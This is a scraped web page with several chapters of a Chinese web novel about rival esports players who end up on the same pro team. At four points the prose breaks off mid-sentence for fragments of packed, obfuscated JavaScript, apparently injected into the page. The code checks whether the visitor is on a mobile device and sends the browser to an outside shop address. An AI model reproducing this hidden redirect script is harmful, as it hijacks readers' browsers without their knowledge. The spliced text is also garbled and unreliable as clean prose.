弹幕就像是看到了一副已经被修改到面目全非、点睛之笔完全被歪斜扭曲的线条覆盖住的原画作后,在那感叹这画简直是‘神来之笔’的反应。 能欣赏得来原画作的人寥寥无几,就算他们想反驳新画并道出原画之美,说出的言论也最终石沉大海。 而且最主要也最关键的是,如果秋说实话,那就会有人在直播的结算页面看到他四个队友的id后就去加他们的游戏好友责怪他们,因为是他们‘害’秋的第一没了,很大可能会让那些队友遭到一轮新的网络暴力。 所以无论秋说的是实话还是假话都会有人骂他菜,但他为了自己的名声清白又不得不开直播澄清他并没有‘故意输掉比赛’的动机,那还不如一开始他就直接说这把发挥失常,并将一些自己的行为解释‘合理’,这样既可以高效且省时的澄清谣言,让一切质疑挑刺者闭嘴,网友的矛头也只会放在秋一个人身上。 一想到这些,夜雨辰就有一股难言的、交杂如麻的感觉在心底里不停地翻涌。 ……啧。 【Rain:他有病吗,真以为自己是什么大网红大主播吗?不就是在游戏圈有点小名气而已,需要他这样舍己为人吗?别人被骂管他什么事?他明明这把都用尽全力问心无愧了。而且他就不怕这样解释会有更多人认为他是在故意输对局吗?】 【有耳:可能他真的有后手吧,而且你们运气确实不太好,秀恩爱秀到南黎的直播间去了,不然事情也不会闹这么大的。】 秀、恩、爱? 夜雨辰的复杂情绪瞬间被这个三个字带来的怒气吞噬。 【Rain:秀个屁恩爱,老子根本不认识他!他吃我那么多把晋级赛,好不容易做一次队友纯想恶心他,结果那把不止被他反恶心回来,最后还搞出了现在这么大的乌龙风波,真给我恶心吐了。】 【有耳:……】 【有耳:哦,是吗。】 【Rain:不然呢,他到底想的啥啊?最后到底是怎么说出那些话的,脑子没问题吧??他是真的不知道别人会怎么想,不在乎别人说的这些话吗??】 【有耳:可能吧……看他对弹幕心态还挺好的。那个,不早了,我先睡了,你早点睡。】 * 夜雨辰坐在基地的三楼训练室,若有所思地转着椅子。 整个训练室都透露着崭新的气息,空气中仍残留着一丝刺鼻的甲醛味,墙壁的基调是淡蓝色的,让人看到就能平复心里的烦躁,心平气和。 托郁秋的福,他真的忘不了两年前的那几天。 那个夜晚他彻夜难眠,直到四五点才睡着。等到第二天他下午起床的时候,他就已经看到了Fire战队连续发的被大家推上热搜的三条帖子—— 第一个,就是秋直播所说的在忙的‘证据’——“恭喜选手郁秋(游戏id‘No.1秋’)从今往后正式加入Fire战队,成为战队的选手之一”,并附带着一张他的个人海报定妆照。 第二个,就是对各种造谣秋‘恶意输掉对局’且对他的名声造成一定影响的人发布律师函警告。 第三个,就是郁秋直播骂脏话的处罚公告。 那是夜雨辰第一次看到郁秋的模样,他当时的第一反应就是发微信跟自己的好兄弟吐槽—— 这个傻逼白长这么好看了,嘴里吐不出一句人话。 不过当时很多人也都明白了为什么郁秋很笃定自己直播复盘后,就不会再有人说他是故意输掉比赛了。 不论是比赛场上还是游戏里,‘假赛’都是职业的禁区,他要是真有这个想法那这个战队是绝对不会允许郁秋成为职业选手的。 Fire可是当时电竞圈里实力最强的战队,郁秋的加入简直是给这个战队如虎添翼,而且他自身本也自带一些流量。 不过也是自那天以后,虽然夜雨辰确实看到过不少给他们道歉的作品,但也托郁秋在直播间最后的反应,以及他们俩之前在局内的‘亲密’表现,后来夜雨辰打游戏,不管是巅峰赛还是排位赛,只要一被别人认出来他是Rain,他几乎都会遇到这样的情况—— “你们家打野是你老公吗?你是在双排吗?” “哟,不陪你对象来巅峰赛了?” …… 而很多人,会直接默默复制粘贴一行字——“中野纯爱一片天,谁见秋雨不递烟”。 看到这句话,夜雨辰整张脸都黑下来了。 这些都是什么和什么啊?! 虽然他知道,有些是开玩笑的、有些是信以为真的、有些人是觉得好玩专门凑热闹说一嘴的。所以一开始,他还会耐心的解释两个人并不认识,然后当耳旁风一笑而过,但后来,越来越多不同的人对他说这些相同的话,有些甚至尺度还不小。 而他一旦对此很生气,没克制住情绪去回怼这些言论过分的人,他们又会说——35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081104|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “欸我开个玩笑而已,你怎么还急了,这么开不起玩笑吗?” 对于这种话语,夜雨辰就有一种拳头用力打在棉花上的无力感。 正主不觉得好笑的话就不是玩笑,而且长时间的反复提他和一个不认识的人有一腿,还是同性,只会让人心生厌恶。 所以最后,他咬牙下定决心,隐藏自己在游戏排行榜上的所有信息,并清理自己大部分游戏好友,这样就没人能在榜上或好友位看到他的游戏资料。 他将游戏id从‘中路一哥Rain’改成了‘不知名的Night’,让网友们无法通过搜索id的途径找到他,然后将自己主页的称号从全国排名换成了大部分玩家都有的常见称号,把主页装饰成了一个普普通通的路人,顺便开始开发一些不属于‘Rain’的中单思路打法,以免对局内被一眼认出来。 除了Whisper Tree这个软件,他将自己的id全都改成了‘Night’,从此以后,知道Rain就是Night的人就只有自己那两个好兄弟,不过,他没告诉有耳自己改了ID。 最后,他在自己的音符平台发布了一条作品——“退网,以后不会在任何平台出现和Rain相关的任何账号,谨防被骗”。 没过几天,他就注销了账号。 从此以后,游戏和社交媒体平台几乎都查无‘Rain’此人。 不过他刚开始使用新id的时候,偶尔还是被怀疑过是不是Rain,但他都是立马否认,并专注操作。而且那段时间他从不开麦克风玩游戏,所以时间久后就没人在去在意这两个人到底是不是同一个人了。 玩家们只会觉得Night是一个新星的中单天才,毕竟这个游戏很多天才都是横空出世的,大家早就见怪不怪了。 而且Rain以前在对局里可是从不乐意去补辅助的,但Night会自愿提出去补辅助,虽然他辅助只玩大乔这个英雄。 不过这英雄在辅助里是唯一的T0强度,所以都爱上分的众人也没怎么往别处去想。 网络就是这样,换个身份销声匿迹一段时间就没人会认得了。 直到他今年进了青训营后,才开始有一两个资料负责人知道了这个秘密,但他们只是工作人员,不太了解GK圈发生过什么,所以就跟夜雨辰保证不会随意泄露这个信息出去,给选手徒增麻烦。 所以,青训营和选秀大会上,大部分人都不知道Night和Rain是同一个人。 “咔嗒!” 这时训练室的门被推开了,零落拿着一张表格进了训练室。 他将其和一支笔递给了夜雨辰:“把这个填好,战队需要你的详细个人资料,方便以后各活动报名。” 夜雨辰回过神来,“哦”了一声,接过表格,二话不说就开始填写这个“个人资料表”—— 姓名:夜雨辰; 年龄:18岁; 身高:177cm…… 他填写的速度很快,字迹也十分工整,很快就填到了最后一个空白处。 这时候,他突然停笔了。 像是不确定自己看到了什么一样,他皱起眉,疑惑地、反复地看了几遍这信息栏里的三个字。 在确认自己确实没看错后,他把目光投向旁边正看着手机的零落身上。 夜雨辰指着这最后一行的空白处,语气充满了十分的不确定和犹豫,缓缓开口道: “那个,教练……报名信息还需要知道选手的‘性取向’吗?” 11. 第 11 章 “……” 听到这句话,零落将注意力从手机上挪开。 他看着夜雨辰天真疑惑的表情半晌,然后推了下鼻梁上的眼镜框,不容置疑道,“是的,每个人都需要填这个。” 听到这个答案,夜雨辰眉头皱得更紧了。 真的吗? 总觉得怪怪的,但又说不出究竟是哪不对。 是什么样的活动报名才会需要一个人的‘性取向’信息? 虽然感到疑惑,但他还是填上了自己的答案,然后立马打开微信想问问同是职业新生的小U有没有填过这个信息。 零落拿过填好的白纸,余光正好瞥到了微信界面,突然想起来:“对了,郁秋是不是还没拉你进群?” 刚打开聊天框的手突然一顿,夜雨辰反手把界面调到好友二维码的页面并把手机递给了对方,面色平静道:“他没跟我提过要加微信的事,所以我连他好友都没机会加。” 听到这个回答,零落微微蹙眉,疑惑地拿出了自己的手机扫码,喃喃道:“他怎么会把最重要的事情给忘了?不应该啊……” 想起刚刚在房间里让自己给队长一个面子加回微信的郁秋,夜雨辰眼神幽幽地瞥向一侧,脸上没染上任何心虚之色。 二人一加上好友,夜雨辰就被拉进了三个群聊——“JYY战队群”、“JYY生活群”和“GK联盟职业选手总群”。 零落介绍道:“闲聊就在生活群,战队群主要是发布比赛、活动、训练赛这些安排计划;总群的话你要是排位缺人可以在群里摇摇人交交友,如果有什么官方消息我们会转发到战队群的,然后……如果群里发生什么事你当吃瓜就行了,最好别去多上一嘴。” 夜雨辰翻看着JYY战队群里的每个群成员id——零落、开开、Qian、小九、Qiu…… 他把目光停留在小九的情侣头像半晌,便挪开了视线。 零落指着群成员里两个很可爱的女生头像,补充道:“她们俩是经理和后勤,一楼的房间就是怕她们工作太忙来不及回家,所以留给她们的,如果没有什么特殊紧急的事情,谁都不能进一楼的房间包括老板,违者不管三七二十一直接踢出战队。然后就是记得把群名片改成自己的战队名和id。” 然后,他将视线重新放回夜雨辰身上,神色变得十分严肃:“最后,合同上写的很清楚,我也再次和你强调一下,作为职业选手,必须有电竞精神,时刻谨记任何游戏对局内不能做出投降、骂队友、摆烂、嘲讽等不良行为,违者将罚款或禁赛处理。” “禁止任何打假赛、开挂的行为,违者将直接永久性禁赛处理。” “和游戏官方签订的保密协议也得遵循,还有,圈内如果出现负面新闻也不能到处乱传……” “等等,你是不是漏了什么?” 夜雨辰打断了零落的话,疑惑道,“我记得合同上还写了职业选手不允许选手出现任何代打、陪玩等相关行为,你怎么不提这个?” “额,这个嘛……有点复杂,其实也不是不行,回头再说。”零落挠了挠脸,快步走到门口,在离开前,他开口问道,“过会九点大家都会在这集合开会,如果有其他事请假的话你提前告知我一声,我先去吃个饭,你呢?” 夜雨辰直接打开游戏进入了匹配:“巅峰。” 零落:“你不吃吗?” 夜雨辰:“不吃。” “但……” “没事,我不习惯这个点吃,你去忙吧,我开了。” 见夜雨辰都如此回答,并且已经进入了对局,零落也不好再说什么。 他意味深长地看了一眼坐在椅子上打游戏的少年便掩上门离开了训练室。 门一关紧,他脸上立马挂上了怒气,加快脚步,冲入二楼的某个房间。 一推开门,他就把手里的纸打到正坐在自己椅子上、目不转睛地关注着微信群新动静的人的身上,骂骂咧咧道:“郁秋你给‘个人资料’加了个什么玩意上去?我就说为什么你微信让我去说一些莫名其妙的话让我去敷衍夜雨辰!” 在刚刚,郁秋发消息给零落让他在一楼打印这份‘个人资料表’给夜雨辰填,并且如果对方问了什么奇怪的问题,记得帮忙打打掩护。 郁秋抓住打在身上的东西,手下意识地收紧,脸上乐呵呵道:“谢谢教练。” 零落没忍住吐槽:“你这是什么奇葩癖好?为了知道舍友这玩意还特地打一份假的资料表给他填,你怕他喜欢男的骚扰你啊?” 郁秋大方承认:“对啊,我长这么帅,又从没和外人一间房过,难免担心他会对我图谋不轨。” “狗嘴里吐不出象牙。”零落没忍住翻了个白眼,“我去吃饭了,过会开会你别迟到。” “等等,先别走。”郁秋叫住准备离开的人,“他现在在干什么?” 零落脚步一顿,回首道:“巅峰。” 得到答案后,郁秋便将注意放回自己手机上,对门口的人随意摆手道:“好的,没你事了,拜拜。” “……?” 零落脸上浮过一抹黑线。 这就是你叫住我的原因? 见门口的人呆着不动,郁秋重新抬头,笑眯眯道:“愣着干嘛?快走。” 看着对方这副把逐客令摆在脸上的样子,零落不由得在离开前送了根中指。 “砰!” 等房间门完全关紧后,郁秋的笑容顿敛。 他深吸一口气,忐忑地拿起刚刚打到自己身上的白纸。 终于能知道自己特别想知道的答案了。 全身上下都随着真相浮出水面而开始绷紧,心跳不由得开始越跳越快,他屏住呼吸、目光扫过纸上所有的字迹,心情并没有因为工整的书写而感到放松。 直到他看到自己最关注的、刻意为这个资料表加的一个信息栏—— 【性取向:正常。】 “。” 完了。 * 三楼训练室 夜雨辰开游戏没多久后,郁秋穿着他的皇帝睡衣进了训练室。 他直接坐在了夜雨辰的旁边,也开始打游戏。 夜雨辰手上虽然还在操作,但余光注意到一坨屎黄色在自己旁边坐下,眉头不由得皱了起来,并下意识地往旁边挪了挪椅子,拉开了两人的间隔距离。 两道游戏声充斥着整个训练室。 一小时后,一个身穿黑色便衣、白白瘦瘦的少年进了训练室。 夜雨辰察 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081105|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉到了新的动静,好奇地抬眸看了一眼来者。 这人身形看上去有点像小U。 黑衣少年板着脸,他目光刚放到房间里新面孔的身上,就恰好和他撞上了视线。 两人呆愣了一瞬,随即互相朝对方点头示意了一下便挪开了视线。 少年瞥了一眼夜雨辰手里正在打的游戏,就径直坐在了他的对面也开始打巅峰赛。 再过一小会,开门声再度响了起来,一声感叹随即而来:“不是,你们都来得这么早啊?而且都在巅峰?好卷,假期才刚结束,你们上分的心怎么这么积——” “边路你能别狗叫了吗?嚷嚷了一整……” 一道粗犷的声音突兀地在训练室响起,又戛然而止。 “……” 门口的少年顿时哑声。 夜雨辰在听到声音的第一时间就把手机声音关了。 “你是对面的小乔啊?我说玩的怎么这么恶心。” 此时郁秋刚好结束了手上的对局。在结算页面,他一看到对面的中单id是Night,就乐呵呵地凑到了夜雨辰身旁。 此时,他的余光才注意到门口正杵着一个人。 他偏头看向门口的少年,脑子里回响起刚刚听到的声音,没忍住轻咳了一声,对他道: “介绍一下,这是我们的新中单,Night,夜雨辰。刚刚那个声音不是说你,是他的边路队友太坑了。” 夜雨辰此时正微蹙着眉头,死死盯着战绩里对面打野的id——“Kimi大小姐”。 虽然这把游戏他被作为对手的郁秋夸赞‘玩得恶心’,但他完全不想去理会这个又把自己分吃了的人。 他直接侧首看向门口,一个神色复杂的黄毛少年映入眼帘。 这时候,耳后响起一道仅二人可听的温柔声音: “我们的边路,张凌开,开开。” 提到‘边路’二字,他就想起了刚刚的局内队友,没忍住冷哼一声。 这把游戏,夜雨辰这队的边路简直就是个天使投资人,一直在给郁秋送人头和送经济,所以就算他如何拼尽全力力挽狂澜,却终究还是抵不住被喂得跟头猪似的敌方战神打野的攻势。 夜雨辰对站在门口的黄毛点头以示招呼后,便摆回一副臭脸,继续开启下一把游戏,顺便再次挪了挪椅子,拉开了自己和郁秋的距离。 郁秋见身边的人对自己如此冷漠,无辜地耸了耸肩。 没办法,他也不想吃分,但谁叫这个游戏只有一边的人能赢,而且他们俩分数太相近了,所以排到同一把多正常。 开开回过神后,直接坐在了郁秋对面的位置。他看着对面人身上鲜艳的颜色,眼睛里闪烁着光芒:“秋哥,这是你新睡衣吗?有品!” 郁秋见到自己的新衣服终于有人夸,沾沾自喜道:“是吧?这衣服前两天才到的,又好看又便宜,超对我品味,穿的还舒服。你要不要也来买一件?” 开开:“好啊!链接发我一份。” 夜雨辰:“?” 白瘦青年:“……” 二人面无表情地瞥了一眼坐在自己身旁的边野两人,脑海里同时浮现出了一句话,又默默地收回了视线—— 这俩没救了。 12. 第 12 章 九点一到,零落就拿着一些资料进了训练室。 他环顾了一周坐在室内的队员,挑眉:“小九又没来?” 开开摊在电竞椅上刷着短视频,随口答道:“估计又去约会了呗,我们直接开始就行了,有他没他都一样。” 郁秋看了一眼还没结束游戏的夜雨辰和白瘦青年,说:“等到他们俩打完这把吧,他还没来我们就不等了。” 开开不满道:“说的好像等他他就会来一样。老板都换了,我们还惯着小九干嘛?直接让他回家得了。” “老板说要看他近期表现再做决定。”零落拉开椅子坐了下来,“他没看过小九的表现,不会只相信我们一面之词的。” 开开对此抱怨:“他传闻都成啥样了,就不能直接把他赶回家吗?有这人在我们怎么打比赛啊?” 郁秋垂下眼眸,刷着手机淡淡道:“毕竟是‘传闻’,真实性有待考察。” 白瘦青年这时结束了手中的对局,他听见了队友们的对话,虽然一声不吭,但脸上也写满了对小九的不满。 “但不得不说,我还是挺喜欢现在这个老板的,要不是因为他,咱们现在都各回各家各找各妈了。” 见夜雨辰还没结束这把游戏,开开便打开了自己的话匣子,“之前那傻逼不要战队的时候为什么只带邱子幸,不带小九跑?我说真的,要不是因为这双c和那个傻逼老板,咱们现在也不至于到穷得叮当响的地步,还给我们留了这么大的烂摊子,害得咱们差点集体失业。” 白瘦青年双手抱胸,冷哼一声:“他俩可是亲戚,遇事一起跑才正常,小九就是纯舔狗,他们会好心到跑路带狗?” 开开对他说道:“也是,不过小九不会以为我俩现在还会让着他吧?” 零落叹了口气,没有参与这个话题;郁秋也低垂着眼眸没有说话,眸光里暗潮涌动。 直到默默放下手机,但脸色明显比刚刚更阴郁的夜雨辰,零落才开口道:“不管小九了,简单开个小会,然后你们随意。第一,就是介绍一下新人选手,我们的中单,Night,夜雨辰。 Night,跟你介绍一下,坐在你对面的是我们的辅助,Qian,他在这个战队呆了一年,算是战队最老成员之一。” 夜雨辰因为两连跪完全不想说话。 他礼貌性的朝对方点了个头就继续生着闷气,平复情绪。 零落接着道:“坐在他旁边的是我们的边路,开开,他比你早一个赛季来的战队,算小半个新人。郁秋我就不跟你介绍了。至于没来的那个叫小九,是我们的射手,他,额……”说到这,他有点不知道该去怎么继续往下说了。 “我知道他。”夜雨辰直接接过了话,因情绪不好语气略带不善道,“至少那把纯废物一个,名不虚传,坑。” “……” 其余四人突然安静,众目睽睽地望向他,除了郁秋脸上一副平静,其他人都双目圆睁。 夜雨辰发觉众人的异常,这才察觉到自己刚刚似乎语气不太好:“怎,怎么了?” 突然,Qian低下头遮住了自己的表情。 开开直接笑出了声。 “咳咳。”只听零落干咳了两声,严肃道,“你是职业新人,首先就要记住一点,这点特别重要,不论你身在哪个战队,都不要在背后说任何选手的坏话,特别是队友的,不然会导致你的战队有炸队的风险……噗嗤。” “?” 看着没绷住笑声的教练,夜雨辰莫名地眨了眨眼。 那刚刚你们几个聊的话题难道不算背后说队友坏话吗? “小九和邱子幸在我们战队是例外,你要是好奇回头让秋哥告诉你就行。”开开笑着解释道,“而且前天秋哥给我们看了你们撞车的那把对局,老板也看了,他看了一半就在那吐槽你们家射手菜。现在看到你也觉得他菜我们就放心了。” 夜雨辰顿时明白为什么这四个人是这样的反应了—— 感情这射手是得罪了全队的人啊。 零落把话题带回到重点,继续道:“小九的事我们先暂且不提。今天主要是说一下这个月的安排,假期已经结束,该收心的收心,该训练的训练,今天开始好好准备下个月的比赛,如果有任何人因为所谓的谈恋爱或是其他事影响到训练比赛,处罚一视同仁,包括我。” “然后就是和直播平台的合同已经重新谈好了,每个人一个月90个小时,时长播不满的扣半个月工资。” “半个月?!” 除了夜雨辰外,其他三人都震惊了。 一个月的钱本来就不够生活费,还要扣这么多?! 零落平静地点了点头:“嗯,半个月,如果成绩上去了可以减时长。第二,由于我们换了一个中单,所以很多原本的战术都要大改,这一点有人有意见吗?” 除了夜雨辰外,其他三人立马双眼放光:“没有!” 零落见状,满意道:“行,那这个月加倍训练,你们这两天开始五排磨合,争取下个赛季的比赛成绩咱们进一个大步。最后一件事就是每个人一周的游戏场次,场次老规矩,相信你们自己都可以遵守。今天你们自便,每个人都随时关注好战队群,训练赛不要迟到。” 会议一结束,郁秋就直接起身离开了训练室。 “啊,对了。”零落突然想起来一件事,笑眯眯道,“老板说既然这个月没比赛,那巅峰赛大家一定都有充足的时间打,所以这个月月底,只要你们打的账号没定榜在全国前二十的人一律扣工资,以及场数没达到要求的人也要扣钱。” 除了夜雨辰,其他二人瞬间变了脸色。 开开双手抗议:“不是,边路上分多难啊,全国前二十里边路在里面有两个已经算多了!我抗议,对我不公平!” Qian:“……” 他默默地打开巅峰赛,没有发出任何的怨言,眼里满是对上分的渴望。毕竟辅助比边路可是好上分很多的。 零落莞尔:“为了战队在这个赛季能出成绩,每个人的个人技术也不能落下,老板看过你们资料,每个人几乎都有巅峰第一的历史名次,所以说这个要求对你们来说应该不难。” 开开欲哭无泪:“那个人机就算了,我也没上过啊,这不是针对我吗教练?” 零落幸灾乐祸:“那不就趁着这段时间赶紧练练嘛,你加油。” 开开撅起嘴,嘟囔道:“我讨厌这个老板。” 夜雨辰在旁默默听着,准备也开一把新的对局。 他倒是没太大的心理负担,这个要求对他来说简直就是小菜一碟。 这时,郁秋重新出现在了训练室的门口,淡淡道:“夜雨辰,你来一下。” 看着门口的那身辣眼屎黄色,夜雨辰脸上写满了‘不想动’三个大字。他手偷偷摸摸地点开匹配界面,从容答道:“我游戏开……” “去一下吧,他应该是有什么事找你,游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081106|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戏不着急这一两把的。” 零落轻轻拍了下他,打断了他准备点进游戏的动作。 夜雨辰:“……” 零落根本没注意到身边人眼底闪过一抹寒光,小声提醒道:“虽然郁秋这人奇葩,但他人还是挺好的,你过段时间就会习惯了。” 在教练的目光和提醒下,夜雨辰只好打消敷衍郁秋的念头,不情不愿地收起手机。 离开训练室前,他幽幽地瞥了一眼零落,然后才掩上了门。 下楼时,二人一句话没说。 夜雨辰双手插兜,眸光里满是不悦地盯着走在自己前的人的背影。 大晚上的,能有什么事找他? 又是吃他分又是打扰他上分的。 直至二人到了餐厅,郁秋直接对着旁边的柜子介绍道:“如果你饿了可以直接来这拿吃的,这里的东西大家都可以拿的。” 然后,他指了指桌上的那几个袋子:“零落说你没吃饭,这里位置比较偏,这个点也不太好点外卖,附近也没啥吃的,所以桌上的东西都是刚送到的,你要是饿了可以将就下。” “……”夜雨辰扫过桌上三四个袋子,眼里闪过一丝复杂之色,“不用了。你买那么多干嘛?浪费钱。” 郁秋挑眉:“我也没吃,而且不是我买的,老板买的。” “老板买的?” 夜雨辰怔了一下,这个答案似乎有点出乎意料。 郁秋点头,指了指外卖单的联系人,道:“嗯,今天后勤不在,孟凌……老板怕你初来乍到不太熟悉这,又不知道你的忌口,所以点的就比较多。” 夜雨辰瞥了一眼单子上标注的联系人‘孟凌轩先生’便挪开了视线:“你吃吧,我不饿,还有事吗?” “我没打算现在吃,你要是不吃就放冰箱吧。”郁秋收起单子,眼底闪过一丝紧张的光芒,指了指桌上另一袋红色塑料袋,语速极快道,“那袋里的东西全是给你的,不是吃的,你可以看看。然后我现在还有点其他事就先上去了,你有事可以在群里找我。” 说完,他也不管夜雨辰是什么反应,就头也不回、像在躲着什么似的快步上了楼。 一溜烟的,整个餐厅就只剩下了一个人。 夜雨辰将视线停留在对方消失在楼梯间的位置片刻。 “呵。” 拙劣的谎言。 刚刚在开会的时候,他明明就瞥到了郁秋点外卖的手机界面,所以在来到餐厅看到这些东西的时候,他就已经知道了这些全是郁秋买的。 他走到桌边,准备把全部吃的都放进冰箱。 他确实有点饿,但他现在更想先把刚刚掉的分赢回来。 而且他也不太想接受这人平白无故的好意,虽然确实没想到对方会关注他有没有吃饭,并直接点了两人分量的吃的。 不过…… 他把视线放到了那个红色塑料袋上。 给他的东西?什么东西? 好奇心驱使他想先看看里面究竟装了什么。 他拿出装在袋里的白色盒子,在看清上面的文字时,夜雨辰呼吸滞住了,眼里写满了不小的震惊。 他刚刚来基地的路上淋了点雨,现在正值八月初,室外的气温并没有因为这场雨而凉快多少,反而基地的空调开的并不算小,冷热空气如此交替是很有可能让一个人感冒甚至发烧的。 但是,为什么这盒东西是…… 退烧...贴? 13. 第 13 章 “退烧贴?” 一道略显稚嫩的诧异声在夜雨辰脑海深处响起,似在远处,也似在耳边,将他的思绪陡然拉回了过去。 只听那个人好笑地拍了拍他肩膀道:“不是吧夜雨辰,你就淋了这么点雨不至于到发烧的程度吧,怎么就直接买一盒退烧贴了?你也太娇小羸弱了吧。” “……”夜雨辰瞥了一眼突然蹦到自己身边的阿星,把盒子丢进手里的袋子,冷漠道:“要你管。” “等等,不对啊。”阿星突然察觉到一丝不对劲,“你这几个小时都一直和我在一起打比赛,根本没空点外卖,而且附近也没有药店,你哪来的时间去买这玩意的?” 见对方发现了端倪,夜雨辰也懒得遮掩:“别人买的。” 阿星明显没信:“谁啊?你在这儿除了我还有其他认识的人吗?” 夜雨辰:“不认识,可能是一个发现我身上被淋湿怕我生病的粉丝?” 毕竟他俩刚刚在舞台上打比赛的时候,商场的大屏赤裸裸地投放出了他们俩的游戏id,让在场不少的玩家一下就认出了他们。所以说不定就有Rain的粉丝注意到他身上的衣服是湿的所以来关心关心他了? 但阿星仍旧感到奇怪,他上下打量着夜雨辰,脸上写满了警惕,道:“该不会是别人直接塞进你包里了吧?就算是粉丝,但是陌生人的东西你就这么收下了?淋雨又不一定会发烧,正常人要买也给你买感冒药才对,哪会买个退烧贴给你?夜雨辰,你有问题,你是不是有什么事情瞒着我?这到底是谁给你买的?” 夜雨辰叹了一口气,无奈扶额地解释道:“深圳这地方我是第一次来,这两天我也一直都和你在一起,所以除了你,我谁都不认识,做什么也瞒不了你的,我真不知道这是谁给我买的。” 阿星:“那你就这么把这盒东西收起来了?” …… 思绪回到现在。 夜雨辰死死地盯着这个普普通通的白色盒子,一言不发。 之前莫名送他贴的那个人他虽然不认识是谁,但他大概知道是谁。 毕竟那时候退烧贴是和自己的灰色雨伞一起还回来的。 而现在,同样是自己刚淋完雨后的情形,同样是一个送贴不送药的人。 虽然那次是在深圳,这次是在上海,但会这么巧,自己刚好遇到两个奇葩都是送贴不送药吗? 而且郁秋从在训练室叫他后,到刚刚说完那些话急着上楼的样子……虽然说话时他看上去从容不迫,但他的肢体表现全都诉说着紧张的味道。 特别是刚刚,他不像是有事要忙所以匆匆上了楼,更像是立马交代完所有东西后想……赶紧逃跑? 但为什么紧张?为什么逃? 是觉得这东西有可能会让他被认出来? 可那为什么还要做送退烧贴这么显眼奇葩的行为? 无数的疑问在夜雨辰脑海里盘旋。 最后,为了简单便捷地获得这些答案,他改变主意了。 游戏确实不差这一两把,郁秋的好意也不是不能接受。 只不过他得先把逃跑的人拽回来才行。 一想到自己要做什么,他嘴角不由得向上一勾。他拉开椅子一坐下,就直接掏出手机打开了微信。 目标直指战队群,那个微信名为‘Q’的用户。 他没打算在群里说话,而是将对方的账号添加进了通讯录。 下一秒,好友直接通过了。 夜雨辰立马发了一条消息过去—— 【Night:一个人在一楼属实有点孤单,吃饭没什么胃口,所以亲爱的队长,你能不能赏个脸下来陪我一起吃?】 郁秋的消息回得很快。 【Q:游戏刚开,不太方便。要不我叫零落下去陪你?】 游戏刚开? 夜雨辰嗤笑一声,完全没信对方这句话。 这不是自己刚刚打算敷衍对方的说辞吗?学得这么快。 【Night:你要是叫别人下来那我只好重新把你放回黑名单了。】 【Q:别这样,给队长个面子,而且一把游戏二十分钟你等到我菜都凉了。】 【Night:没事,菜冷了可以热,所以你,我可以慢慢等,再不下来我就拉黑了。】 【Q:……】 半分钟后,楼梯间传出一道仓促的关门声,紧接着,就是一道急匆匆下楼的脚步声。 很快,拿着训练机和手机的郁秋迅速走到餐厅,并急忙地在夜雨辰旁边坐了下来。 夜雨辰瞥到他训练机里的BP页面,嗤笑道:“这就是你说的‘有事’?” 郁秋干咳了两声,眼神全在手机屏幕上,脸上闪过一抹尴尬之色,道: “确实算事吧,你刚刚掉了两把分,现在还刚好没空打游戏,机不可失,我只要赢下这把就可以把你挤到第二名去了。” “?” 等等,什么意思。 夜雨辰脸上的笑容顿敛。 我现在没空打游戏不是因为你把我叫下来了吗? 现在游戏里的排名,夜雨辰是全国第一,而郁秋玩的这个‘Kimi大小姐’账号在全国第二。 刚刚开会前,夜雨辰因为连续扣了两把分,拉近了他和第二名分数差距,所以只要郁秋现在再赢一把对局,他就可以超越夜雨辰,坐到全国第一的位置了。 此时,手机里的游戏刚好进入到了对局加载的界面,郁秋借这个空隙抬头,一副玩味地模样看着后知后觉反应过来他话中意思、眼神愈发阴冷的夜雨辰,悠哉悠哉道: “夜雨辰,我现在下来陪你了,你应该不会孤单寂寞冷到没胃口吃饭了吧?” 夜雨辰:“……” 我冷你大爷。 他不知不觉地握紧了拳头,深吸一口气,强行压下自己给对方一拳的冲动。 太阴险了,怎么会有如此狡诈之人为了一个全国第一居然玩起场外牵制让他暂停上分打游戏? 他刚刚为什么要突然改变主意想着接受这人的好意? 不甘心因为这种手段就把第一的位置就这么拱手让人,他顿时没了继续呆在一楼的欲望,倏地一下站起身打算回去训练室。 下一秒,他的衣角处突兀地传来了一股拉力。 猝不及防地,他一屁股坐了回来。 ? 他眨了眨眼,怔怔地转过头,看向身边正满脸认真操作的人。 只见对方的注意力依旧在手机屏幕上,却在跟自己说话:“去干嘛?先吃饭。” “……哈哈。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 